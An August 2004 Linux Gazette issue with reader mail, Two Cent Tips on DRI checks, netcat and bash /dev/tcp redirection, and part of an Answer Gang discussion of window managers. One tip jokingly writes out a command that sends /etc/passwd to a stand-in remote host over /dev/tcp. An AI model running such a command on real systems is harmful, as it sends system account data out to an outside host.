...making Linux just a little more fun!

August 2004 (#105):


The Mailbag


HELP WANTED : Article Ideas
Submit comments about articles, or articles themselves (after reading our guidelines) to The Editors of Linux Gazette, and technical answers and tips about Linux to The Answer Gang.


encryption kills my connection in linux but works in win98

Wed, 28 Jul 2004 15:13:27 -0700
David Rich (dsrich from ieee.org)
Question by Denis Miller (denis.miller from sympatico.ca)

I have a wireless connection to my landlords internet connection. Under win98 it works fine but using xandros the encryption does not work. Using no encryption it works fine.

128 byte, infrastructure mode, netgear am111 usb, signal strength over 68%. Is there some trick to using encryption I am missing.

  1. Are you actually using encryption under Win98?
  2. Is your landlord's Access Point set up to allow encryption? From the fact that it works without encryption, it cannot be set up to require it, so it may not be set up to allow it at all.
  3. Where did you find a landlord so kind as to allow you to use his bandwidth?

Okay, okay, kudos to any landlord who's a kind enough soul to offer #3. Wireless is becoming a popular topic - people are welcome to give a good solid shot at this question, but we'd also enjoy seeing an article about something wireless. Tripping over cords all the time makes Linux or in fact any networking OS just a little less fun... -- Heather


Probing from ISP?

Mon, 5 Jul 2004 11:16:05 -0500 (COT)
John Karns (jkarns from etb.net.co)

Hi gang,

I noticed some weirdness in my logs yesterday. They're filling up with events which appear to be probes to various ports on my machine, averaging one every 2 - 3 secs. The source ports (SPT in log) are above 1024, to lower numbered destination ports (in most cases) I'm using a Linksys WRT54G wlan router (runs Linux!!), flashed to a 3rd party mod of the OS called samadhi2. I have the router firewall enabled. I'm not sure what to make of the situation, but I'm guessing that the ISP (an MS W2k shop) has been cracked with a virus that is probing all IP's in their pool.

I'd be most interested in any comments.

That was pretty close to the beginning of the month, things have been dealt with since then. We'll just give a taste of this - it's a sad fact of modern network life that the destructive forces of virus and worm blitzes affect every OS, just by chewing our bandwidth up like a big dog chews up the master's old shoes.
We'll protect the privacy of his shop here, suffice it to say that his system logs showed a lot of traffic to destination ports 135 (hmm, something in the mswin/Smb packet family?) and 445, though other ports are sometimes seen... with a few to higher numbered ports (9898, 443, 1433...
Other nodes seem to be getting traffic either to or from 34240 or other ports around that range. (viewed with iptraf -- Heather)

It's interesting (and confusing) that the iptraf output on the 2nd node doesn't show traffic with the same ports as the ipfilter log from the other node. Nor does the system log on the 2nd node show any probes to ports 135 & 445.

-- John Karns

If system forensics or network security is your bag, perhaps you could write us a nice juicy article about how to effectively determine what systems in a network are infested with a virus or worm that's going wild? Seeing your network clobbered is no fun - solving an annoying puzzle can be, especially if it gives our gentle readers any leads on preventing or solving the same kinds of problems themselves. We'd just love to have something on this topic, some meat to sink our teeth into. No red herrings please! (Tux likes herring. Ok, fine, you can bribe him with herring, but only if the rest of the article is delicious to our editors, at .) -- Heather

GENERAL MAIL


Article Feedback [104]: rsync and anacron

Sat, 3 Jul 2004 15:51:01 +0100
Thomas Adam (The LG Weekend Mechanic)

Barry O'Donovan mentioned in his article that:

00 02 * * * rsync -r -e ssh --delete /home/username/mail
username@mycomputer.mycompany.com:/backups/mail

...is best run from cron -- yet this could cause a few issues if one is already running some kind of "ntp" check, since the task running at precisely 02:00 could clock skew. This would cause the scheduled rsync process above to get reloaded by cron multiple times or even not at all. Therefore, it is best to offset the time to either a few minutes before the hour, or a few minutes afterwards.

-- Thomas Adam


Linux Journal Reader's Choice

Wed, 7 Jul 2004 12:58:53 -0400
Rick Moen (LG Contributing Editor)
Question by Brendon Oliver (brendon.oliver from redsheriff.com)

Hi there,

I just noticed today that voting for this year's Reader's Choice Awards on linuxjournal.com has now opened. Thought it rather interesting (not!) that they only list the "hijacked" Linux Gazette (linuxgazette.com) under their "Favourite Linux Web Site" category.

So I made a point of nominating you guys as an "Other" site in my vote (as the REAL Linux Gazette), and added a few words in their "Extra Comments" at the bottom of the form. I hope some of the other readers can do the same (voting will most likely be closed by the time the next issue is ready).

Thank you for doing that. I assume you're aware that the form submissions (from http://www.linuxjournal.com/rc2004) aren't public, and will no doubt be filtered through company policy by an SSC employee. But the gesture is appreciated.

I wasn't too happy over the treatment you got from SSC, but unfortunately linux mags are scarce on the ground here in Australia, so didn't really want to "vote with my $$" and cancel my subscription. Besides, it's a big world & there should be pletny of publication space for all.

Anyways, I've been an avid reader of the Gazette since probably late '97 so just thought I'd add a vote of confidence from one happy reader! Keep up the great work!

Regards,

- Brendon Oliver.

Indeed, I for one would never wish Linux Journal any harm. We need it!

Cheers, Rick Moen


Re: Hi Jimmy. Thanks for LG articles

Wed, 28 Jul 2004 22:20:14 +0100
Jimmy O'Regan (The LG Answer Gang)
Question by senthil (senthil from symonds.net)

[cc:ing TAG in the hope of continuing the thread about software for low-spec machines]

Hear that, readers? If you've got more low-end system ideas, send them to The Answer Gang, at . -- Heather

Hi Jimmy,

Kudos for your articles at LG.

I had read LG103, enjoyed it thoroughly and read LG104 quickly and found good number of useful articles. Especially my pick was the Linux on Low End Systems from Answer Gang. I have got a System having 128 MB RAM and unfortunately fits in the low end category as far as X,Gnome,kde are concerned. But instead of spending bucks, I have been enjoying with elinks,mpg123,vim and gcc, which are my mostly used ones. I use twm sometimes and have not tried others.

Hope to try with the suggestions given by the LG.

Thanks! Senthil

Thanks for the mail.

If you don't mind my offering a few more suggestions, I'd like to point you in the direction of MPlayer for your video needs - it truly is a wonderful piece of software, and doesn't try to use more memory than it needs: http://www.mplayerhq.hu

There are a lot of great window managers out there with low memory requirements which you might prefer: FVWM (http://www.fvwm.org) is possibly the most configurable, or you might prefer IceWM (http://www.icewm.org) or WindowMaker (http://www.windowmaker.org).

Many of which were hotlinked in the "WM Wars" blurb of The Answer Gang column in our April issue. -- Heather

The articles I'm currently trying to finish for next month's edition are about news aggregators and LiveJournal clients - if you have any interest in either of these areas, Snownews (http://home.kcore.de/~kiza/software/snownews) and Clive (http://sourceforge.net/projects/ljclive) are good CLI programs for these respective tasks.

Do you mind if I forward your mail (unencrypted, of course :) to the Answer Gang? We like to get feedback from our readers, and I think Thomas and Heather in particular will be pleased to hear that the information for low-end systems was useful to you.

Or, even better - you could write yourself, and offer your suggestions. The thread in last month's issue only focused on graphical interfaces - I'm sure that a great thread could come of it. You never know - you might like it, and become a member :)


Thanks Jimmy for your quick reply and your suggestions. I would definitely try Mplayer (I have heard that Mplayer plays movie in the text mode as well) and fvwm.

The thing which interested me in TWM is its simplicity which helped me understand some of the underlying concepts.

Thomas has written enough about FVWM to make me think that it would be better for this than TWM.

snownews and ljclive seems very interesting!! btw, as we are on the topic of blogs and RSS, have you tried Nanoblogger? http://sourceforge.net/projects/nanoblogger

Wow. Looks great.

I have used it, have involved myself with bugs and change-requests of this project.

This is a very good cli based blogging utility and would definitely complement the topics you are writing.

Jimmy, if you are covering snownews,ljclive in article,I feel a section on nanoblogger will be informative as well.

It's a bit too late in the month to start looking at something new, but I'll have a look at it for next month.

Jimmy,Feel free to forward the coversation to the Answer Gang and my wishes to Thomas and Heather for their Wonderful work.

Hope I would be getting more involved with LG :)

Cheers! Senthil


Where to send more 2c TIPS?

Wed, 14 Jul 2004 21:32:56 +0200 (CEST)
Flavio Poletti (anonymous)

Hi,

it's quite some time that I don't read the Linux Gazette. Ok, this is awful from my side :)

I've had some difficulties in sorting out which is the TRUE Linux Gazette, when I finally had a flash and took the one with Jim Dennis inside :) Jokes apart, I was very disappointed reading the whole story, but that's the world and I'm happy that we all can have Ye Ol' Linux Gazette on the net.

Here comes my first question:

"Where is one decent guy supposed to send its 2c tips?!?"

Right here, to this very address. This is all mentioned in the FAQ that we've all slaved over:
http://linuxgazette.net/faq/index.html -- Thomas
Thanks Flavio. More Two Cent Tips come from two sources - directly from our readers, and from members of the Answer Gang (when the answers are short). Really, any reader can contribute to the answers found in Linux Gazette - so tips as well as questions are sent to - ideally with the word "2c" or "Two Cent" in the subject line.
We really should improve the header over in More Two Cent Tips. Thanks for bringing it up :) -- Heather

I looked for it in all the website, but had no clue! Then I peeked the "More 2c tips" section and - aaaagh! But there are questions there!!! This leads to my second question:

"Where have 2c tips gone?!?"

I remember those neat, fast 2c tips in the golden age, but now I only see some kind of TAG satellite section!

I'm not quite sure what you're looking at, or indeed whether it is a mirror site that for whatever reason has not synced yet. The number of 2c-tips from readers has been in decline, for all the reasons outlayed in issue 103-104. -- Thomas
When a Tip is inspired by a question to the Answer Gang, we feel it's fair that the question be mentioned; in most cases the Editor's Scissors have trimmed the question down a bit (you should see the clipping room floor. Question marks and bangsigns and dots all over the place. What a mess I have to clean up after!) for your reading enjoyment. -- Heather

Ok, ok, flames off now, the magazine is quite healty and I don't want to spoil my happiness in having (re-)found it. So... I drop my 2c tip to you TAG, hoping that I won't be censored for my - how to say it? - attitude to write too much!

All the best to you all,

Flavio Poletti.

If your attitude includes making Linux a little more fun, I see no reason why we'd censure it (complain), much less censor it (edit it out to attempt to ignore it). We love to see Two Cent Tips from readers - they're the juiciest! Thanks for sending yours, Flavio, and I hope it will encourage more readers to send theirs in too. Welcome back.
(Your 2c Tip's in the current issue, of course, albeit with a couple of comments from the Gang.) -- Heather


MMA

Mon, 05 Jul 2004 11:36:22 -0700
Bob van der Poel (bvdp from uniserve.com)
Question by Jimmy O'Regan (jimregan from o2.ie)

Thanks for the comments on MMA in your recent Gazette column. I've just posted 0.9 on my site:

http://mypage.uniserve.com/~bvdp

you'll find it is even MORE MUSICAL :) Shout if problems!

-- Bob van der Poel


GAZETTE MATTERS


FAQ updates

Sun, 4 Jul 2004 15:52:34 -0400
Ben Okopnik (Linux Gazette Editor)

I've just updated the General LG FAQ, with much credit going to Jimmy for his initial proofing. Comments and suggestions welcome:

http://linuxgazette.net/faq/general.html

The Author FAQ has also been updated this month; if you're looking to write an article for us :) please read it and then work with our article editors:

http://linuxgazette.net/faq/author.html


LG in the news.

Sat, 10 Jul 2004 02:49:31 +0100
Jimmy O'Regan (The LG Answer Gang)

FYI, here's a list of other sites where I post LG announcements. Has anyone got any suggestions for sites I can add to the list for next month?

I didn't post this, thanks are due to whoever did.

We occasionally see references back to us at Linux Weekly News (http://lwn.net) too. Kind readers, let us know about other linuxgazette.net sightings. New mirrors are always welcome, too. :D -- Heather


TAG Knowledge Base updated

Sun, 11 Jul 2004 03:10:38 -0400
Ben Okopnik (Linux Gazette Editor)

Finally, after many long, weary years, much wailing, gnashing of teeth, rending of clothes, and other low-budget special effects, TAG KB has been updated, courtesy of Dave Richardson. Our newest proofreader has started off with a BANG!... all right, you FBI people can all leave now, it was all harmless, no harm no foul. Sheesh, they're all so twitchy these days!

Anyway, Dave - welcome and a job well done! As always, folks, comments and suggestions are highly welcome and encouraged.

http://linuxgazette.net/tag/kb.html


This page edited and maintained by the Editors of Linux Gazette
HTML script maintained by Heather Stern of Starshine Technical Services, http://www.starshine.org/

Published in Issue 105 of Linux Gazette, August 2004

More 2 Cent Tips!

See also: The Answer Gang's Knowledge Base and the LG Search Engine


Is your video acceleration system working?

Ben Okopnik (Linux Gazette Editor)

Are your games running slowly, even though you have the latest whizbang video card? Is your Quake action more like a slow-motion low-crawl through Jell-O than a high-FPS F(irst) P(erson) S(hooter)? You may be using software emulation of direct rendering (DRI) instead of the real thing, or may have outdated (or missing) GL libraries.

Here's a simple shell script that brings together all the necessary tools for checking your system's DRI status. I strongly suggest referring to the DRI Troubleshooting page at http://dri.sourceforge.net/cgi-bin/moin.cgi/DriTroubleshooting for a good guide to fixing any problems you find; it's been of great help to me several times.

See attached check-dri-status.bash.txt

Save it, make it executable with 'chmod +x <name>', run it, and follow the prompts at the bottom of the screen. (And remember to keep moving as you fire; the Macron in Level 8 can shoot missiles all day long.)


C program problem

Jason Creighton (androflux from softhome.net)
Question by Sanjib Roy (sanjib_w from hotmail.com)

how can i Clear Screen and Move Cursor to print a message in the screen from a C program that uses standard C function like printf() putch() without using ncurses.

Is there any function such as "clrscr()" and gotoxy() that are available in Dos based Turbo C++ compiler are available in Linux if not what is alternative

PLEASE HELP ME

I'd ask your lecturer this one.
Homework getting you down? Good, don't ask us, we won't help. :) -- Thomas
[Jason] You can't do that without ncurses. That is, you can't do it in a standard way that will work everywhere. You could spit out some escape codes, but that only works with on type of terminal. This sort of problem is exactly why the ncurses library exists, and to not use it would be quite silly.


Front and Back: KPGP and GPG

Richard Bos (radoeka from xs4all.nl)

[sent as Tip on Advice of Jimmy O'Regan]

Thanks for your kgpg article, it pointed me to the --editkey + adduid/deluid commands, that I was looking for - for some time.

Hello Linux-ers,

I wrote something down last week, answering my own questions that I had.

It explains how to deal with signing rpm packages. The webpage is located at:
http://linux01.gwdg.de/apt4rpm/signing.html

I hope you can benefit from it.

-- Kind regards, Richard Bos


Without a home the journey is endless


OpenChange

Jimmy O'Regan (The LG Answer Gang)

OpenChange is a project to reverse engineer all things MS Exchange. They have a program for dumping the contents of an Exchange database, and are working on the Exchange protocol, with a view to creating an open source Exchange clone.

http://openchange.althost.net/index.php?page=openEDB

[John Karns] Interesting. Not that I use it, but was intrigued when I noticed that HP had done similarly 3 or 4 years back (Openmail, I think), and were offering it gratis for non-commercial use - in closed source format IIRC. They soon killed it though, no doubt after being pressured by Redmond.
[Rick Moen] "I'm not dead yet!"
Both of those are the Openmail codebase.
More at: "Groupware" on http://linuxmafia.com/kb/Mail


SCP server for Windows (98/2k)

Jay R. Ashworth (jra from baylink.com)

I've found Caspian's package, but he says he doesn't think it will work with SCP due to banners and such.

Does anyone have, in-pocket, an SCP compatible SSHD for Windows 98/NT/2K that's as easy to install as the Caspian package?

(looks at sshwindows.sf.net)

nevermind. ;-)

Cheers, jra


Slackware retrospective

Mike Orr (LG Contributing Editor)
For you history buffs out there. -- Heather

LWN article about Slackware 10, reminiscing about the distribution that "has outlived all its predecessors": http://lwn.net/Articles/91467

A look at the evolution of Linux distributions:
http://lwn.net/Articles/91371


Triggering one of several options with Juk and KHotkeys

Jimmy O'Regan (The LG Answer Gang)

I posted a story on http://dot.kde.org mentioning that LG has two KDE related articles this month, and someone asked how to have multiple possible actions attached to a single key - launch Juk if it isn't running, pause if playing and vice versa, and play if stopped. This script does that:

See attached juk.bash.txt

[Ben] Intermediate-level shell tip for the above situation:
ps aux|grep '[j]uk'
Will ignore the 'grep' line every time. Why? Well...
ben@Fenrir:~$ find / [f]oo > /dev/null 2>&1 &
[1] 8099
ben@Fenrir:~$ ps --pid 8099
  PID TTY          TIME CMD
 8099 pts/0    00:00:02 find / [f]oo
Note that 'ps' lists the command exactly as invoked - square brackets and all. 'grep' itself, however, interprets the square brackets as a character class: that is, it looks for a match for any character(s) contained within the brackets. Since the only character within the brackets is 'f', '[f]oo' is interpreted simply as 'foo'. As a result, 'grep' is searching for 'foo' - but the 'grep' line itself, as listed by 'ps ax', does not contain 'foo'; it contains '[f]oo', which does not match.
The concept is a bit difficult to understand the first time, obvious - and handy! - forever after. :)

I'd forgotten this; handy. Only works, of course, if the argument to grep is a literal. Well, more accurately, it's even harder to understand (and possibly might break other things) if you put it in a variable...

[Ben] You're right: it can be made to work but would Not Be Conducive to Understanding. Something like
# YANETUT 
first=${var:0:1}
last=${var:1}
ps ax|grep "[$first]$last"
Ugh.


Using Windows Keyboard Media Buttons In Linux

john frey (iaargh from shaw.ca)

For years now I have been staring at the extra keys on my Logitech Freedom Optical with despair in my heart. I told myself I did not really need them, but somehow I felt less than a windows drone because I paid the money for a cordless keyboard and mouse and did not have full function.

Then I read this article, tried a few of the hotkeys for launching email, web browser and local file browser. That was all very neat but what i really wanted was to use the dial on the keyboard for volume control. My speakers have buttons to push for volume control but they are clunky and response is slow, using a slider on Kmix is equally unwieldy. When the email notification suddenly blares out (because I just finished watching a movie and forgot to lower the sound) I want to turn the sound down before the last tones fade out.

I muddled about in the KDE control centre a bit with not much success then hit on the astounding idea that maybe I could configure this from Kmix. Right click on the master volume control -> define keys......a few short clicks later and I had the dial working to raise and lower sound and the mute button as well. I felt f***n great. Can you say eeeasssy, can you say in-tui-tive? Wow, this is really the cats pajamas!

Sometimes the smallest things just make life worth living again ;~)


Telnet's nice, netcat's better

Flavio Poletti (anonymous)

Sending some network traffic from the shell.

Some time ago (actually, a long time ago) I needed to send some TCP traffic towards a host on a regular basis. So... the only tool I knew was telnet, I had no clue about socket programming, and I had to study expect in order to get the job done. No need to say, it was a real pain - what else should I /expect/? (For those who don't know what I'm talking about, I suggest to perform more-than-trivial interaction with some server on ports other than the telnet one).

Some time later, I learnt socket programming, so I was able to do the job inside C and call my program from the shell. But you can bet on it - it was some very focused application and proved to give me no help in a similar-but-different context.

It was then that I discovered netcat.

netcat (actually the executable should be called nc) is what I needed, plus much more. It is capable of running in both client and server (listening) mode, to cope with both TCP and UDP, and provides the more straightforward concept you could ask for: it reads standard input and sends it to the remote destination, and gives you the incoming traffic on the standard output. Quite nice, isn't it? netcat should be already available in your Linux box, anyway you can download it here: http://www.atstake.com/research/tools/network_utilities

I was very proud of my discovery (only 5-6 years of research!) when recently I had to find something that - quite surprising to me - was even simpler. I mean, to solve my ancient two-nights-without-sleep problem I didn't even need an external program! I found that what I needed can be done entirely inside the shell, provided that you're using bash - and all of us are using bash, aren't we?

This is the trick: bash defines some fake devices which you can use as files for redirection - but you actually get some IP traffic with them! So you can send your passwd file to your worst enemy at example.com simply by issuing this command:

cat /etc/passwd > /dev/tcp/example.com/10000

(we all know that our worst enemy accepts passwd files listening to port 10000)

That's it - and you can do that with UDP as well! If you want to find out more, take a look at the Bash Advanced Scripting Guide, in particular paragraph 28.1 (http://www.tldp.org/LDP/abs/html/devref1.html).

This is my 2c Tip!


I tried to seek inside /dev to see if there is any tcp or udp device, but found neither - that's why I claim that these devices are bash-interpreted. If you know more about this... correct please!

The Editor's Scissors had a grand time with this one. -- Heather
They're not defined by the shell, nor are they related to it -- they're just named FIFOs that the kernel defines are virtual when a port needs to be listened on. -- Thomas
[Jason Creighton] Quoting from the bash manpage:
       Bash  handles  several  filenames  specially  when  they  are  used  in
       redirections, as described in the following table
[Ben] ben@Fenrir:~$ ls -l /dev/tcp
ls: /dev/tcp: No such file or directory
The Talmud, I mean the "bash" man page, offers no further help; however, the Commentaries... err, /usr/src/linux/Documentation/devices.txt, says these are iBCS-2 compatability devices...
So, I made these nodes - with a little help from Perl:
ben@Fenrir:/usr/src/linux/Documentation$ su
Password:
root@Fenrir:/usr/src/linux/Documentation# mkdir /dev/inet
root@Fenrir:/usr/src/linux/Documentation# perl -wne'
if(m#0 = /dev/socksys#../raw/){/(\d+) = ([^\s]+)/;
system"mknod -m 0664 $2 c 30 $1; chgrp dialout $2"}
' devices.txt
root@Fenrir:/usr/src/linux/Documentation# perl -wlne'
if (m#/dev/ip #../X0R/){/([^\s]+) -> ([^\s]+)/;
system"ln -s $2 $1"}' devices.txt
Group "dialout" allows its members to use those devices.
In the next invocation, I selected the second group from above and created the symlinks by using much the same mechanism.
So, after all of that - will the stuff promised by the Bash man page work?
ben@Fenrir:~$ su -c 'thttpd -d ~ben/www'
ben@Fenrir:~$ cat /dev/tcp/localhost/80
cat: /dev/tcp/localhost/80: Not a directory
ben@Fenrir:~$ nc /dev/tcp/localhost/80
/dev/tcp/localhost/80: forward host lookup failed: Unknown host
[Kapil] I assume you are really Debianized. So quoting from /usr/share/doc/bash/README.Debian.gz:
	9. Why is bash configured with --disable-net-redirections?

	    It can produce completely unexpected results. This kind of
	    feature should not be part of a shell but a special. tool. And
	    that tool has existed for years already, it's called netcat.
And that brings us back around to Flavio's pleased discovery :) -- Heather
[Jason] So, if you were going to use this silly little bash trick instead of netcat, you would do something like this:
~$ cat /dev/tcp/localhost/25
cat: /dev/tcp/localhost/25: No such file or directory
~$ cat < /dev/tcp/localhost/25
220 jpc.example.com ESMTP Exim 4.20 Fri, 16 Jul 2004 16:32:55 -0600
I don't think it's possible to set up a bidirectional link via this method, like you can with netcat. Or perhaps there's some Really Clever Shell Tricks you can use to get cat's stdin and stdout hooked up to the fd in order for you to, for example, interact with an SMTP server. But I honestly don't care if you can do this, because it is, as you say... easier and nicer not to do this sort of thing in the shell.

This page edited and maintained by the Editors of Linux Gazette
HTML script maintained by Heather Stern of Starshine Technical Services, http://www.starshine.org/

Published in Issue 105 of Linux Gazette, August 2004

The Answer Gang

Linux Gazette 105: The Answer Gang (TWDT) The Answer Gang 105:
LINUX GAZETTE
...making Linux just a little more fun!
(?) The Answer Gang (!)
By Jim Dennis, Karl-Heinz Herrmann, Breen, Chris, and... (meet the Gang) ... the Editors of Linux Gazette... and You!


We have guidelines for asking and answering questions. Linux questions only, please.
We make no guarantees about answers, but you can be anonymous on request.
See also: The Answer Gang's Knowledge Base and the LG Search Engine



Contents:

¶: Greetings From Heather Stern
(?)One for Ben --or--
Which Window Manager?
.
(?)Experimenting with window managers
(?)Kernel 2.6 and PCMCIA troubles
(?)Sending a keystroke to remote application

(¶) Greetings from Heather Stern

Greetings, everyone, and welcome once more to the world of The Answer Gang. Please pardon our dust; the buzz saws of open sorcery have been busy and there's floor clippings from the busy Editor's Scissors, too.

Still, we sincerely hope you enjoy the bits we have for you this time around - juicier than watermelon (hey, now there's a good name for a window manager), bigger than a double burger.

I'm really looking forward to Linux World Expo this month (what am I saying? this week) as I'll get to see a lot of friends there. In addition to the obvious parties and Dot Org Pavilion, I'll be keeping my eye out for the booths with a spirit of fun in mind, who's really solving problems that face the enterprise scale (now that I've worked with larger clients this last year), and who's really helping the utter newbie.

People switching to Linux during site upgrades are probably the largest growing aspect of Linux use now that thare are so many flavors of MS Windows they're just as confusing as the wide variety of distributions we've got. In the last year I've been seeing ads for Linux on ordinary television, too - it's even led to some clients here and there. So just in case anyone was wondering, Tux is going places. Whether any of those places are what the analysts want to see... ah well, this is what worldwide expos are for, to tell the analysts what to look for.

If any of you would like to send in your own views of how things went at the LWE (I understand there's one going on in the UK too? Any more big events out there?) ... oh yeah! Birthday party time. I almost forgot about the Linux Picnix, and considering it's right in my area, there's no way I'm gonna miss that. *ahem* If anyone wants to send us some reports on how they've enjoyed any Linux events this month, I'd love to put together a thread about 'em. If you're going to the same ones I am... look for my red straw hat! I'll see you there!

More next month about what Tux has been up to during his Summer vacation.


(?) Which Window Manager?

.

From Jimmy O'Regan

Answered By: Jason Creighton, Thomas Adam, Ben Okopnik, Kapil Hari Paranjape

Perl Linux. A distribution where everything, except the kernel and Perl, is written in Perl.

http://perllinux.sourceforge.net

(!) [Jason] LUFS (Linux Userspace File Systems):
http://lufs.sourceforge.net/lufs
It's designed to allow you to write filesystem drivers for linux in userspace. (You'd never guess it from the name. :-) )
Bindings for python:
http://www.freenet.org.nz/python/lufs-python
I don't know of there's any for Perl, but I wouldn't be surprised.
(!) [Ben] Wow. Weird. I'm very familiar with the Perl Power Tools (essentially, the GNU toolkit for Unix reimplemented in Perl) - in fact, I recommend them to my students as a bunch of well-written code to study; I also think it's a really good idea of the same kind as having a statically-compiled shell. An entire Perl-based distro, though? Is there a point to straining a Camel [1] through the eye of a needle? I mean, cool that it can be done... but you end up with pureed camel, and who wants that? Messy.
[1] Contrary to popular belief, the mascot's name is not "OCaml". Sheesh.
(!) [Thomas] Depends how you say it. :) Usually with perl, it is with heavy surprise with lots of skepticism thrown in for good measure. :D
(!) [Ben] Well, the way people seems to usually "learn" Perl (i.e., by looking at somebody's horrible code, figuring "I can do that!", and proceeding to do exactly that), I'd think it's more like "prayerfully, with a quiver in the voice and tears running down the cheeks". People who learn it the right way - i.e., by reading and following the documentation and learning from good examples (e.g., PPT, NMS (http://nms-cgi.sourceforge.net), etc.) - say it with a rising inflection, sorta singing the last part, and usually follow it up with a whistle.
"O Caaaa-mel! [whistle] Heeere, Camel-camel-camel!"
It always comes running and wagging its tail when properly invoked. Beware the fleas, though. :)

Snipping some light-heartedness, somehow the topic changed to window managers. -- Thomas Adam
(!) [Thomas] Don't use KDE, then.
(!) [Ben] It's certainly one of the major reasons that I don't. My current machine has plenty of disk, memory, and CPU for KDE to gratuitously throw in the trash (oops - was that my 'out-loud' voice? Darn), but I refuse to put up with the Micr0s0ft-style blinkenlights philosophy of the interface ("Fear not, small human creature; KDE has decided on everything you'll want and need, and will provide it for you.").
(!) [Thomas] It does have "wizards" or the equivalent so that even the complete clueless can give it a go.
(!) [Ben] What, to handle the configuration end? Nothing special there; IceWM, e.g., has "icepref" that does much the same thing. I'm very much a fan of "vi" as a configuration wizard, myself, but others may differ.
I dislike the standard RedHat install for the same reasons (it's a minor dislike, but that's the reason for it.)
(!) [Thomas] sigh. I agree. I liked it more when RH4 and the subsequent RH5 release used Fvwm. They now use Gnome, which is arguably better IMO, than KDE. Qt is horrible.
(!) [Ben] IceWM is small, fast, and lacks nothing in features that I want from a WM. From Thomas' previous rantings :), I gather that FVWM is much the same sort of thing. It's like having a spoon that you bought for a quarter; [ ... ]
(!) [Thomas] Kind of. But there are a lot of things Fvwm does that IceWM does not, and while I am not going to outline the individual merits of each, you cannot, for instance, in IceWM do event actions. And while I have used IceWm, it just doesn't have..., well, it lacks something. :)
(!) [Ben] EPID. That's why I didn't say that KDE was evil and should be wiped off the face, etc. - some people love it. And FVWM doesn't have a lot of things that IceWM has (i.e., a decent taskbar; I could never stand that huge thing they use that takes up so much real estate.)
(!) [Thomas] Actually, Fvwm provides a taskbar (FvwmTaskBar) that takes up no more space than any "normal" task bar, plus it can autohide. You can also configure FvwmIconMan to act as a taskbar.
Apart from the inherent motif theme [1] that Fvwm takes on by default ( \o/ ), perhaps the other major attraction to it for me was the fact that you can define events based on actions. AFAICT this is an idiom unique to Fvwm, and no other WM/desktop environment (The module that provides this is known as 'FvwmEvent').
Perhaps another addition that you might appreciate Ben is the fact that you can script commands to Fvwm, using the underlying $SHELL. There is even a full set of perl-bindings[2] [3]. The power that this gives, to allow complex things to be done simply, is quite amazing. Not only that but Fvwm has its own internal widget set (FvwmScript) so that you can define all kinds of things.
(!) [Ben] Perhaps I'm just not visualizing a scenario where this would be useful, but I can't really see the advantage. What WM functions would you want to script, and why?
(!) [Thomas] Lots of reasons that are situation dependent. One is to do things like compute the distance between windows and slide a window in a given direction to sit beside the window. Another is to take a snapshot of the window on iconify, and set the icon to the picture of the window.
For example, I have a function in Fvwm that displays the total number of windows that I have open, on the title for my pager. By "open", I mean those windows that are not iconified. You can see it here [4]. You probably couldn't do that easily in anyother WM. Whether or not you would want to, is another question entirely. :)
(!) [Ben] Yes. *That*' is the question I'm asking. If I really needed to, I'd parse the output of "xwininfo -root -tree" and get the information, but I don't see how it would benefit me in either case.
(!) [Thomas] /me comes down from his high horse.
But it really does just depend. I ask of nothing visual from my WM in terms of eye candy. Ick. The only thing I permit myself is xteddy. After all, a WM is just there to provide a means of being able to launch lots of rxvts. :)
Oh, I don't know. That one example of FVWM eyecandy you showed before was very impressive - and I like the idea of having a pretty desktop, although to me that means a nice background plus some good looking icons, not dancing rabbits that (again) waste my resources.
Don't forget the GUIs, now. I use mine to launch "gmplayer" and Mozilla quite regularly. :)
No matter how you improve the thing, it's still going to be a spoon, and the functionality of it will never be worth much more than that price.
(!) [Thomas] That's where I diagree. The environment you work in is what you make it. And since Fvwm is free, the amount of things I can do with it, and the extendability of it is immense. I joke not. There are over 1000 styles in all to Fvwm. You can configure the minutest.
(!) [Ben] Yeah, you could theoretically make it out of gold and attach it to a gadget that will feed the baby, wipe up the spills, and go to the store to buy the products to replace the ones it used up... but it's neither a spoon any longer, nor is it nearly as useful as a spoon is if you move away from the home/baby/store metaphor.
(!) [Thomas] Given that all of this is contained within Fvwm, the need to add on any features are irrelevant. It's ironic to think that despite all I have said, given my needs, I could quite easily go back to using TWM again....
  1. No, despite what you might have read. Motif is not dying. It's very much alive, and I for one am grateful that it is.
  2. http://fvwm.org/documentation/manpages/unstable/FvwmPerl.php
  3. Rumours that I'm working on FvwmRuby, are very true indeed.
  4. http://linuxmafia.com/~n6tadam/benexample.png
(!) [Ben] Have you seen the IceWM theme packs lately? I wouldn't be surprised if there were a thousand or more of them available. I generally take one, hack it a little, and use it for six months or so, and I don't see myself running out anytime soon.
(!) [Kapil] Since we're onto desktop/window manager wars ... :-)
My latest "standard" for how good such a thingy is has been:
  1. Can it emulate "ratpoison"?
  2. Can it improve on "ratpoison"?
  3. Can it do the above without bringing a low-end machine to a screeching, grinding, *thrashing* halt?
It turns out that (in combination with GNU "screen") FVWM, ICEWM and even (surprise) Gnome2+Metacity can do this. I haven't tried with KDE.
Some notes of explanation:
  1. in combination with "screen" what this really means is that you should be able to maximize a window *without* title bars, menubars, borders, handles and all that fluff. This is what you *really* need when you are doing a deep hack or writing a paper.
  2. means that you should be able to "switch" in and out of this ratpoison mode with some key combination (don't touch that mouse yet!). In the "real" GUI mode you should be able to use GIMP (which is ratpoison disabled or vice versa) and other such programs that require a mouse and/or graphical interface and non-mazimized windows.
  3. is reasonably clear---low on memory usage for (a) but could use more memory in (b).
I might be able to write a little piece on how this is done but I wouldn't be able to withstand that flamage that might result :-) Besides my ESP-enabled fortune signature generator has something to say about the time I've spent on doing all this configuration... (See below).
Preamble:
I got tired of spend^H^H^H^H^Hwasting my time configuring my window manager/desktop/themes/what have you and switched to "ratpoison". After a deep and productive hack I come up for relaxation and am faced with the pest-killer again. Can't do GIMP, screensavers, and the rest. How do I relax? Go and play football (soccer to some...)? No. Back to configuring my window manager so that it can at least be like ratpoison some of the time.
Defining the problem:
How do I get my window manager to maximize a window without the handles, titlebars, buttons and all that fluff. In this window I might have a term with screen or emacs or mozilla (for those do-not-disturb browse-fests :-) why should the window manager care!
Answer:
	Golem: (The first WM that I learnt to do this with) Alt-z
		z is for zoom.

	ICEWM: Alt-F11 (Yes, that's all!) F11 for "Fill the screen"

	FVWM:  For a window manager that can do it all this should
	        be easy; but I haven't quite figured it out.
		There *is* fvwm-shell and that has some settings that
		are 90% of the solution. (Unsurprisingly this is my
		current UI---I *need* to figure it out!).
(!) [Thomas] Lots of ways you can do this. I would define a function for it:
DestroyFunc FvwmMaximiseWindow
AddToFunc   FvwmMaximiseWindow
